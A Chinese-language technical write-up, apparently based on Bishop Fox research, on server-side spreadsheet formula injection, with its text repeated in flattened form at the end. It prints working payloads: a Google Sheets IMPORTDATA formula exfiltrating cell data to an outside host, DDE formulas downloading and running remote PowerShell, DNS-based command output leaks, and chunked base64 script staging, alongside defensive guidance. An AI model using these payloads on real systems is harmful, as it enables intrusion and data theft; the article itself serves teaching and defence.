服务器端电子表格注入 - 从公式注入到远程代码执行
字数 2065 2025-08-29 08:32:24

服务器端电子表格注入攻击深度解析:从公式注入到远程代码执行

1. 服务器端电子表格注入概述

服务器端电子表格注入是一种新型的攻击方式,它将传统的客户端电子表格漏洞(如CSV注入、公式注入)转化为服务器端漏洞。这种攻击在以下场景中特别危险:

  • 服务器使用Excel处理上传的电子表格文件
  • 应用程序将电子表格数据转换为其他格式(如图像)
  • 云服务自动处理电子表格内容

2. 攻击案例解析

2.1 Google表格注入导致数据泄露

攻击场景

  • 应用程序将用户列表导出到Google表格
  • 管理员编辑后重新上传以执行批量用户配置
  • 攻击者通过用户描述字段注入恶意公式

攻击原理
Google表格会执行嵌入的公式,攻击者利用此特性构造数据外泄payload:

=IFERROR(IMPORTDATA(CONCAT("http://g.bishopfox.com:8000/save/",JOIN(",",B3:B18,C3:C18,D3:D18,E3:E18,F3:F18,G3:G18,H3:H18,I3:I18,J3:J18,K3:K18,L3:L18,M3:M18,N3:N18,O3:O18,P3:P18,Q3:Q18,R3:R18))),"")

关键点

  • JOIN函数将所有单元格数据合并
  • CONCAT构建包含数据的URL
  • IMPORTDATA将数据发送到攻击者服务器
  • IFERROR隐藏错误信息

攻击效果

  • 每次管理员编辑表格时,公式重新执行
  • 实时泄露所有更新数据(包括新设置的密码等敏感信息)

2.2 服务器端公式注入导致RCE

案例1:直接命令执行

攻击场景

  • 应用程序使用Windows主机上的Excel将XLS*/CSV转换为图像
  • 转换过程中Excel会执行公式

攻击步骤

  1. 验证公式执行:

    • 测试公式 =SUM(1,1) → 返回2
    • 测试动态公式 =NOW() → 返回当前时间,确认实时解析
  2. 利用DDE(动态数据交换)执行命令:

    =cmd|'/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString("http://bishopfox.com/shell.ps1");powershell -e $e'!A1
    
  3. 获取完整shell控制服务器

案例2:受限环境下的DNS隧道利用

受限环境

  • 服务器有TCP出口保护,阻止HTTP/HTTPS外连

攻击步骤

  1. 测试网络限制:

    • =WEBSERVICE("http://bishopfox.com") → 失败
    • =WEBSERVICE("https://bishopfox.com") → 失败
    • =WEBSERVICE("http://dnstest.bishopfox.com") → DNS请求成功
  2. 通过DNS执行命令:

    =CMD|'/c for /f "delims=" %a in ('hostname') do nslookup %a.bishopfox.com '|!A0
    
  3. 分块传输PowerShell脚本:

    =cmd|'/C echo|set /p="JHVybCA9ICJiaXNob3Bmb3guY29tIjtmdW5jdGlvbiBleGVjRE5TKA==" > C:\ProgramData\activePDF\Temp\a.enc'!A0
    +cmd|'/C echo|set /p="ACQAYwBtAGQAKQAgAHsACgAkAGMAIAA9ACAAaQBlAHgAIAAkAGMAbQBkACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkA" >> C:\ProgramData\activePDF\Temp\a.enc'!A0
    +...
    +cmd|'/C powershell -c "$a=Get-Content C:\ProgramData\activePDF\Temp\a.enc;powershell -e $a"'!A0
    

关键技巧

  • 使用set /p实现无换行符的追加写入
  • 分多次写入Base64编码的PowerShell脚本
  • 最后执行解码后的脚本

3. 攻击技术详解

3.1 可利用的Excel函数

函数类别 示例函数 攻击用途
数据获取 IMPORTDATA, WEBSERVICE 外泄数据或获取远程payload
字符串操作 CONCAT, JOIN 构建攻击字符串
系统信息 INFO, CELL 获取系统信息,寻找可写目录
错误处理 IFERROR 隐藏攻击痕迹
动态执行 DDE公式 (`cmd `)

3.2 DDE公式注入技术

标准格式:

=cmd|'/c [command]'!A0

高级用法:

  • 使用管道和重定向:|, >, >>
  • 多命令组合:&, &&
  • 字符限制绕过:分块写入文件再执行

3.3 受限环境下的绕过技术

  1. DNS隧道

    • 使用nslookupping通过DNS外传数据
    • 使用PowerShell DNS shell
  2. 分块传输

    • 将payload分成多个部分写入文件
    • 使用Base64编码避免特殊字符问题
  3. 环境探测

    =INFO("directory")  // 获取当前目录
    =CELL("filename")   // 获取文件路径
    

4. 防御措施

4.1 开发人员防护

  1. 输入净化

    • 在值前添加单引号:'=cmd|'/c calc'!A0 → 作为文本处理
    • 转义危险字符:=, |, ', ", !
  2. 处理方式

    • 禁用服务器端公式计算
    • 使用无头模式处理电子表格(如--headless
    • 使用专门的库而非完整Excel软件
  3. 权限控制

    • 在低权限沙箱中运行电子表格处理服务
    • 限制网络出口(包括DNS)

4.2 管理员防护

  1. Google表格/G-Suite

    • 审查第三方应用权限
    • 谨慎处理自动生成的电子表格
  2. 服务器配置

    • 隔离电子表格处理服务
    • 监控异常进程(如powershell、cmd突然启动)
  3. 日志监控

    • 记录公式执行
    • 告警异常网络请求(特别是DNS大量查询)

5. 检测与测试方法

5.1 测试payload示例

  1. 基础测试:

    =NOW()
    =INFO("osversion")
    
  2. 数据泄露测试:

    =CONCAT("TEST", A1)
    =WEBSERVICE("http://test.server/?leak="&A1)
    
  3. 命令执行测试:

    =cmd|'/c whoami > C:\temp\test.txt'!A0
    

5.2 自动化测试工具

  1. OWASP ZAP:可配置主动扫描规则
  2. Burp Suite:CSV/Excel文件修改和重放
  3. 自定义脚本:批量生成测试文件

6. 总结与展望

服务器端电子表格注入代表了客户端漏洞向服务端迁移的趋势,随着SaaS和云服务的普及,这类漏洞将更加普遍。关键风险点包括:

  1. 电子表格处理时的公式自动执行
  2. 服务器端使用完整Office套件而非安全库
  3. 缺乏对电子表格内容的严格过滤

未来可能需要开发专门的服务器端电子表格处理标准,从根本上避免公式注入风险。

服务器端电子表格注入攻击深度解析:从公式注入到远程代码执行 1. 服务器端电子表格注入概述 服务器端电子表格注入是一种新型的攻击方式,它将传统的客户端电子表格漏洞(如CSV注入、公式注入)转化为服务器端漏洞。这种攻击在以下场景中特别危险: 服务器使用Excel处理上传的电子表格文件 应用程序将电子表格数据转换为其他格式(如图像) 云服务自动处理电子表格内容 2. 攻击案例解析 2.1 Google表格注入导致数据泄露 攻击场景 : 应用程序将用户列表导出到Google表格 管理员编辑后重新上传以执行批量用户配置 攻击者通过用户描述字段注入恶意公式 攻击原理 : Google表格会执行嵌入的公式,攻击者利用此特性构造数据外泄payload: 关键点 : JOIN 函数将所有单元格数据合并 CONCAT 构建包含数据的URL IMPORTDATA 将数据发送到攻击者服务器 IFERROR 隐藏错误信息 攻击效果 : 每次管理员编辑表格时,公式重新执行 实时泄露所有更新数据(包括新设置的密码等敏感信息) 2.2 服务器端公式注入导致RCE 案例1:直接命令执行 攻击场景 : 应用程序使用Windows主机上的Excel将XLS* /CSV转换为图像 转换过程中Excel会执行公式 攻击步骤 : 验证公式执行: 测试公式 =SUM(1,1) → 返回2 测试动态公式 =NOW() → 返回当前时间,确认实时解析 利用DDE(动态数据交换)执行命令: 获取完整shell控制服务器 案例2:受限环境下的DNS隧道利用 受限环境 : 服务器有TCP出口保护,阻止HTTP/HTTPS外连 攻击步骤 : 测试网络限制: =WEBSERVICE("http://bishopfox.com") → 失败 =WEBSERVICE("https://bishopfox.com") → 失败 =WEBSERVICE("http://dnstest.bishopfox.com") → DNS请求成功 通过DNS执行命令: 分块传输PowerShell脚本: 关键技巧 : 使用 set /p 实现无换行符的追加写入 分多次写入Base64编码的PowerShell脚本 最后执行解码后的脚本 3. 攻击技术详解 3.1 可利用的Excel函数 | 函数类别 | 示例函数 | 攻击用途 | |---------|---------|---------| | 数据获取 | IMPORTDATA , WEBSERVICE | 外泄数据或获取远程payload | | 字符串操作 | CONCAT , JOIN | 构建攻击字符串 | | 系统信息 | INFO , CELL | 获取系统信息,寻找可写目录 | | 错误处理 | IFERROR | 隐藏攻击痕迹 | | 动态执行 | DDE公式 ( cmd| ) | 执行系统命令 | 3.2 DDE公式注入技术 标准格式: 高级用法: 使用管道和重定向: | , > , >> 多命令组合: & , && 字符限制绕过:分块写入文件再执行 3.3 受限环境下的绕过技术 DNS隧道 : 使用 nslookup 或 ping 通过DNS外传数据 使用PowerShell DNS shell 分块传输 : 将payload分成多个部分写入文件 使用Base64编码避免特殊字符问题 环境探测 : 4. 防御措施 4.1 开发人员防护 输入净化 : 在值前添加单引号: '=cmd|'/c calc'!A0 → 作为文本处理 转义危险字符: = , | , ' , " , ! 处理方式 : 禁用服务器端公式计算 使用无头模式处理电子表格(如 --headless ) 使用专门的库而非完整Excel软件 权限控制 : 在低权限沙箱中运行电子表格处理服务 限制网络出口(包括DNS) 4.2 管理员防护 Google表格/G-Suite : 审查第三方应用权限 谨慎处理自动生成的电子表格 服务器配置 : 隔离电子表格处理服务 监控异常进程(如powershell、cmd突然启动) 日志监控 : 记录公式执行 告警异常网络请求(特别是DNS大量查询) 5. 检测与测试方法 5.1 测试payload示例 基础测试: 数据泄露测试: 命令执行测试: 5.2 自动化测试工具 OWASP ZAP :可配置主动扫描规则 Burp Suite :CSV/Excel文件修改和重放 自定义脚本 :批量生成测试文件 6. 总结与展望 服务器端电子表格注入代表了客户端漏洞向服务端迁移的趋势,随着SaaS和云服务的普及,这类漏洞将更加普遍。关键风险点包括: 电子表格处理时的公式自动执行 服务器端使用完整Office套件而非安全库 缺乏对电子表格内容的严格过滤 未来可能需要开发专门的服务器端电子表格处理标准,从根本上避免公式注入风险。